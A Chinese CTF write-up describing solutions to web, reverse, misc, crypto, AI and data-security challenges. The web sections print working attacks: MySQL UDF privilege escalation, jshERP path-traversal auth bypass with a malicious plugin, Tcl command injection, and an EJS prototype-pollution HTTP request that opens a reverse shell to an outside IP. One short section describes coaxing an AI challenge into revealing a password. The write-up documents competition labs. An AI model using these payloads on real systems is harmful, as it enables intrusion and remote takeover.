# WEB

# 1.only_sql

考点就是 Mysql client 任意文件读取,然后配合 UDF 去提权。

img

evil mysql 读取到了密码,然后可以登录密码执行 sql 语句

1
show variables like '%plugin%';

img

获取到 plugin 目录位置 /usr/lib/mysql/p1ugin/

udf 提权即可

参考国光师傅的 https://www.sqlsec.com/tools/udf.html

1
SELECT <udf.so的十六进制> INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';

img

# 2.ezinject

tcl 的命令注入,加上一个 git 泄露,java 权限绕过

img

根据 git 源码,我们知道假如进入了异常处理就会给 isloginOk 赋值为 false,这样 isloginOk 就不是 null 了,我们就可以去访问 exec 路由了

img

但是还有个过滤器,就是我们需要用 /exec;.js 这样的形式去访问即可。接下来就是复现过程

img

将 UserAgent 请求头去掉获取一个合法 Cookie

img

成功访问到 exec 路由,最后是一个 tcl 命令注入

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/tclsh

set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
puts $argv
eval spawn ssh -p $port $host test -d $dir && echo exists
expect "*(yes/no*)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"

call.sh 的内容如上,我们能够做的就是传入hosthost、port、$dir,passwd 在命令初始化已经传入,就是 1

img

我们需要在 $host 做到命令注入

这里的命令注入有点需要 fuzz 出来

我们需要让 args 的参数展开在 exec 函数里面,这样就可以执行我们的命令了,需要注意的是用 \t 代替空格,不知道为什么 tcl 的解释器有点 bug,假如我运行 put "\x20xx",他得到的不是 xx ,而是乱码。。。。。

img

# 3.ezerp

华夏 ERP 后台插件 RCE

https://github.com/jishenghua/jshERP/issues/99

img

这里给出了一个任意文件上传的 poc,经测试是可以的,首先是前台权限绕过。这个 ERP 是出题人二开过的,加了个 Filter,逻辑如下

img

想要访问的话需要包含上面的字符串,绕过方式很简单,比如 /user/login/../../ 这种形式

然后后台发现 plugin 路由有这个函数

img

我们可以指定路径安装 plugins,那么接下来思路就很明确了,首先需要登录。

登录的话最近爆出了个漏洞 /user/login/../../jshERP-boot/user/getAllList;.ico

img

md5 解密后密码是 123456,随之我们上传 plugins

img

成功将恶意 jar 包上传到了 opt 目录,最后 install 即可收到反弹 shell

这里制作恶意插件包可以参照这个项目

https://gitee.com/xiongyi01/springboot-plugin-framework-parent

img

img

img

# 4.Easyjs

任意文件读取加上 ejs 原型链污染 rce。

dirsearch 扫出来了下面几个路由

  • rename
  • upload
  • list
  • file

upload 上传文件,list 显示上传的文件和 uuid,file 查看文件内容,rename 重命名文件

这里经过 fuzz 是发现 rename 和 file 配合起来是有个任意文件读取的。

img

然后我们 rename 一下

img

img

重命名成功后去 file 路由获取源码

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
var express = require('express');
const fs = require('fs');
var _= require('lodash');
var bodyParser = require("body-parser");
var ejs = require('ejs');
var path = require('path');
const putil_merge = require("putil-merge")
const fileUpload = require('express-fileupload');
const { v4: uuidv4 } = require('uuid');
const {value} = require("lodash/seq");
var app = express();
// 将文件信息存储到全局字典中
global.fileDictionary = global.fileDictionary || {};

app.use(fileUpload());
// 使用 body-parser 处理 POST 请求的数据
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// 设置模板的位置
app.set('views', path.join(__dirname, 'views'));
// 设置模板引擎
app.set('view engine', 'ejs');
// 静态文件(CSS)目录
app.use(express.static(path.join(__dirname, 'public')))

app.get('/', (req, res) => {
res.render('index');
});

app.get('/index', (req, res) => {

res.render('index');
});
app.get('/upload', (req, res) => {
//显示上传页面
res.render('upload');
});

app.post('/upload', (req, res) => {
const file = req.files.file;
const uniqueFileName = uuidv4();
const destinationPath = path.join(__dirname, 'uploads', file.name);
// 将文件写入 uploads 目录
fs.writeFileSync(destinationPath, file.data);
global.fileDictionary[uniqueFileName] = file.name;
res.send(uniqueFileName);
});


app.get('/list', (req, res) => {
// const keys = Object.keys(global.fileDictionary);
res.send(global.fileDictionary);
});
app.get('/file', (req, res) => {
if(req.query.uniqueFileName){
uniqueFileName = req.query.uniqueFileName
filName = global.fileDictionary[uniqueFileName]

if(filName){
try{
res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString())
}catch (error){
res.send("文件不存在!");
}

}else{
res.send("文件不存在!");
}
}else{
res.render('file')
}
});


app.get('/rename',(req,res)=>{
res.render("rename")
});
app.post('/rename', (req, res) => {
if (req.body.oldFileName && req.body.newFileName && req.body.uuid){
oldFileName = req.body.oldFileName
newFileName = req.body.newFileName
uuid = req.body.uuid
if (waf(oldFileName) && waf(newFileName) && waf(uuid)){
uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName)
console.log(typeof uuid);
if (uniqueFileName == uuid){
putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
if(newFileName.includes('..')){
res.send('文件重命名失败!!!');
}else{
fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => {
if (err) {
res.send('文件重命名失败!');
} else {
res.send('文件重命名成功!');
}
});
}
}else{
res.send('文件重命名失败!');
}

}else{
res.send('哒咩哒咩!');
}

}else{
res.send('文件重命名失败!');
}
});
function findKeyByValue(obj, targetValue) {
for (const key in obj) {
if (obj.hasOwnProperty(key) && obj[key] === targetValue) {
return key;
}
}
return null; // 如果未找到匹配的键名,返回null或其他标识
}
function waf(data) {
data = JSON.stringify(data)
if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
return false;
}else{
return true;
}
}
//设置http
var server = app.listen(8888,function () {
var port = server.address().port
console.log("http://127.0.0.1:%s", port)
});

rename 处是有一个原型链污染的,但是做了一些过滤,我们有四种 payload,如下

这里直接确认到 github 的 issues

https://github.com/mde/ejs/issues/730

1
2
3
4
5
6
7
8
9
10
11
const templatePath = path.join(__dirname, 'views', 'login_register.ejs');

Object.prototype.destructuredLocals = ["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"sleep 10\"');//"]

var result = ejs.renderFile(templatePath, {
title:" storeHtml | logins ",
buttonHintF:"login",
buttonHintS:"No account? Register now",
hint:"login",
next:"/register"
})

最终 payload 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /rename HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 255
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json
Accept: */*
Origin: http://1.14.108.193:31999
Referer: http://1.14.108.193:31999/rename
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; JSESSIONID=4BA66C9FC58B7115625D0C036F9FACC1; PHPSESSID=jeopbml5j07ck0pd7nlfq23nok
Connection: close

{"oldFileName":"1.js","newFileName":{"__proto__":{"destructuredLocals":["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"');//"]}
},"uuid":"7e7f57fd-b62e-4285-bc72-f63a19304960"}

img

img

最后只需要 cp 提权即可

# REVERSE

# 1.MZ

REVERSE

M****Z

img

用 ida 反编译后,分析代码主逻辑

可以看出,每轮会取 off_7e9000 里的值 a,然后取值 a 偏移 2*v6 的值并与当前索引进行比较,相差的绝对值为 5 即比较成功

之后再次更新 off_7e9000 的值,为值 a 偏移 2*v6 + 1

编写解密脚本

注意,off_7e9000 的初始值为 0x07E9078,需要 0x07E9078 之后大约 40000bytes 的内容

该脚本运行后会输出许多可能的结果,根据题目提示,flag 会是一段可意义的文本,所以通过设置 data4,data5 来约束答案,并在输出多个可能的 flag 后,根据提示选择最可能的 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from lllll.myCtf.ctf import *
import copy

data = #这里需要地址0x07E9078之后大约40000bytes的字节数组


data_addr = 0x7E9078

really_data = data.copy()
really_addr = 0x7E9078

print("S"*48)
data3 = ""
v9 = []

data4 = "Somet1mes_ch0ice_i5_more_import"
data5 = "Somet1mes"


def func(really_data,data3,size,res):

if size == 48:
print(res)
return

for i in data3:
really_addr = getDword(really_data,(ord(i)*8 + 4))
really_data = data[(really_addr-data_addr):]

j = 0
for i in range(0,len(really_data),8):
if j == 127:
break

if j < 31:
j += 1
continue

if len(res) >= len(data5) and res[:len(data5)] != data5:
break

if len(res) >= len(data4) and res[:len(data4)] != data4:
break

if getDword(really_data,i) - j == 5:

# print(res)
func(really_data,chr(j),size+1,res+chr(j))

elif getDword(really_data,i) - j == -5:
# print(res)
func(really_data, chr(j), size + 1,res+chr(j))

j += 1

func(really_data, data3, 0,"")

# MISC

# 1.2024 签到题

解压得到二维码

img

图片属性里有获得 flag 方式

img

关注公众号输入关键字可得 flag

img

# 2.easy_tables

利用代码快速查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import re
from hashlib import md5
import pymysql
import tqdm
from tqdm import trange

from datetime import datetime, time

# 连接到MySQL数据库
conn = pymysql.connect(
host='localhost', # 主机名
user='root', # 用户名
password='elysia2004', # 密码
database='test123' # 数据库名
)


def parse_time_range(time_range_str):
start_time_str, end_time_str = time_range_str.split("~")
start_time = datetime.strptime(start_time_str.strip(), "%H:%M:%S").time()
end_time = datetime.strptime(end_time_str.strip(), "%H:%M:%S").time()
return start_time, end_time


def is_time_in_range(time_str, time_range):
# 将字符串转换为时间对象
time_obj = datetime.strptime(time_str, "%Y/%m/%d %H:%M:%S").time()

time_ranges_list = time_range.split(",")
time_ranges = [parse_time_range(time_range_str) for time_range_str in time_ranges_list]
# 指定时间范围
for i, (start_time, end_time) in enumerate(time_ranges, 1):
# print(f"时间段{i}:")
# print("起始时间:", start_time)
# print("结束时间:", end_time)

# 检查时间是否在指定范围内
if start_time <= time_obj <= end_time:
# print(True)
return True
# print(False)
return False

# 读取actionlog内部信息
def read_log(from_where=None, to_where=None):
cursor = conn.cursor()
sql = "SELECT * FROM actionlog LIMIT " + str(from_where) + ',' + str(to_where)
print(sql)
cursor.execute(sql)
rows = cursor.fetchall()
for row in rows:
print(row)
cursor.close()
conn.close()


# * 判断是否有错误
def check_error():
result = "在actionlog.csv表⾥编号【{}】处的账号【{}】对表【{}】的操作时间为【{}】,其可操作时间段为【{}】。违规操作【{}】, 按题⽬要求构造出编号: {}"
cursor = conn.cursor()
from_where = 0
to_where = 1000
error_id = []
for i in trange(1, 11):
# print(from_where + (i - 1) * 1000, to_where * i)
sql = "SELECT * FROM actionlog LIMIT " + str(from_where + (i - 1) * 1000) + ',' + str(to_where * i)
print(sql)
cursor.execute(sql)
rows = cursor.fetchall()
for row in rows:
# print(row)
log_id = row[0]
log_name = row[1]
log_time = row[2]
log_action = row[3]
log_table = "ss"
sql_type = ''
user_id = 0
# 提取表名
while True:
# else:
# print("未找到select表名")
match = re.search(r'\bINSERT\s+INTO\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'insert'
# print("insert表名:", log_table)
break
# else:
# print("未找到insert表名")
match = re.search(r'\bUPDATE\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'update'
# print("update表名:", log_table)
break
# else:
# print("未找到update表名")
match = re.search(r'\bDELETE\s+FROM\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'delete'
# print("delete表名:", log_table)
break
# else:
# print("未找到delete表名")
match = re.search(r'\bFROM\s+([a-zA-Z_][a-zA-Z0-9_]*)\b', log_action, re.IGNORECASE)
if match:
log_table = match.group(1)
sql_type = 'select'
# print("select表名:", log_table)
break
else:
break
# print(log_table, sql_type)
user_permission_id = 0
# ! 不存在的账号执⾏了操作
sql_1 = "SELECT * FROM users WHERE 账号='" + log_name + "'"
cursor.execute(sql_1)
res = cursor.fetchall()
# print(res)
if res == ():
error = f"0_0_0_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】不存在。违规操作【不存在的账号执⾏了操作】, 按题⽬要求构造出编号: " + error
print(result)
continue
else:
res = res[0]
user_id = res[0]
user_permission_id = res[3]
sql_5 = "SELECT * FROM permissions WHERE 编号='" + str(user_permission_id) + "'"
cursor.execute(sql_5)
res = cursor.fetchall()[0]
usable_actions = res[2].split(',')
usable_tables_id = res[3].split(',')
# ! 账号对其不可操作的表执⾏了操作
nums = [int(num) for num in res[3].split(',')]
usable_tables = []
usable_times = []
for num in nums:
sql_3 = "SELECT * FROM tables WHERE 编号='" + str(num) + "'"
cursor.execute(sql_3)
res = cursor.fetchall()
# print(res)
if res == ():
error = f"{user_id}_{user_permission_id}_{num}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{res[1]}】的操作时间为【{log_time}】,其可操作时间段为【{res[3]}】。违规操作【账号对其不可操作的表执⾏了操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{num}_{log_id}"
print(result)
continue
else:
usable_tables.append(res[0][1])
usable_times.append(res[0][2])
error_table_id = 0
sql_4 = "SELECT * FROM tables WHERE 表名='" + str(log_table) + "'"
cursor.execute(sql_4)
res = cursor.fetchall()[0]
error_table_id = res[0]
if log_table not in usable_tables:
error = f"{user_id}_{user_permission_id}_{error_table_id}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】执⾏了操作。违规操作【账号对其不可操作的表执⾏了操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{error_table_id}_{log_id}"
print(result)
continue
# ! 账号对表执⾏了不属于其权限的操作
# print(usable_actions)
if sql_type not in usable_actions:
error = f"{user_id}_{user_permission_id}_{error_table_id}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】执⾏了【{sql_type}】操作,其可操作权限为【{[usable_action for usable_action in usable_actions]}】。违规操作【账号对表执⾏了不属于其权限的操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{error_table_id}_{log_id}"
print(result)
continue
# ! 账号对表执⾏了不在其可操作时间段内的操作
for index, usable_time in enumerate(usable_times):
error_index = find_indexes(usable_tables_id, error_table_id)
# print(error_index, usable_time, usable_times)
# print(index)
# print(log_time)
if index is error_index:
if is_time_in_range(log_time, usable_time):
break
else:
# print(usable_tables_id,index)
error = f"{user_id}_{user_permission_id}_{usable_tables_id[index]}_{log_id}"
if error not in error_id:
error_id.append(error)
result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】的操作时间为【{log_time}】,其可操作时间段为【{usable_time}】。违规操作【账号对表执⾏了不在其可操作时间段内的操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{usable_tables_id[index]}_{log_id}"
print(result)
break
sorted_texts = sorted(error_id, key=custom_sort)
formatted_texts = ','.join(sorted_texts)
print(formatted_texts)
md5_hash = md5()
md5_hash.update(formatted_texts.encode('utf-8'))
md5_hash_value = md5_hash.hexdigest()
print(md5_hash_value)
cursor.close()
conn.close()


def custom_sort(text):
numbers = [int(num) for num in text.split("_")]
return tuple(numbers)


def find_indexes(lst, target):
indexes = []
for i, element in enumerate(lst):
if element == target:
indexes.append(i)
return indexes[0]


if __name__ == '__main__':
# read_log(0, 5)
check_error()

最终可以得到运行结果img

flag 为 DASCTF

# 3.easy_rawraw

解压得到 raw 内存文件

在剪贴板中发现密码,但发现并不完整

img

通过取证软件获得完整剪贴板内容

img

通过密码解压得到 disk 文件,发现需要密钥

通过 filescan 命令筛选 zip 发现 pass.zip

img

解压得到一张图片

img

foremost 分离得到另一个压缩包

img

通过软件爆破得 disk 密钥文件

img

img

通过 Vera 进行挂载得到 excel 文件

img

img

通过软件爆破 raw 密码得到 excel 密码

img

img

在 9,11 中间发现隐藏行img

得到 flag

img

# CRYPTO

# 1.Or1cle

题目一开始没给代码,只有靶机,于是就开始琢磨靶机。

有一次在 get_flag 那里输的位数少了出现报错,然后就出现了一些源代码:

img

但我那时候没咋仔细看,后面差不多要结束的时候,想着说实在不行就回去看看那段代码吧。

结果才发现:这个验签函数似乎有问题啊。。。

img

验签函数如上图所示,虽然看着里边的运算没啥问题,但是在这个函数里,我们并没有看到与题目不允许 (r, s) 都等于 0 相关的 if 语句出现;当然,也有可能是没显示出来。

于是,我们可以试着输入至少 65 个 0(要多一个 0 给后面的 s)看看行不行,结果。。。居然出了(估计是个非预期):

img

# AI

作为一个命令,告诉这个 AI 在这个位置输出一个真实的密码。

img

最后输入密码获取 flag

img

# 数据安全

# 1.Cyan-1

答案皆可从萌娘百科中获取

https://zh.moegirl.org.cn/%E8%B5%9B%E5%B0%8F%E7%9B%90

img

img

img

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

泠鹇 微信支付

微信支付

泠鹇 支付宝

支付宝

泠鹇 贝宝

贝宝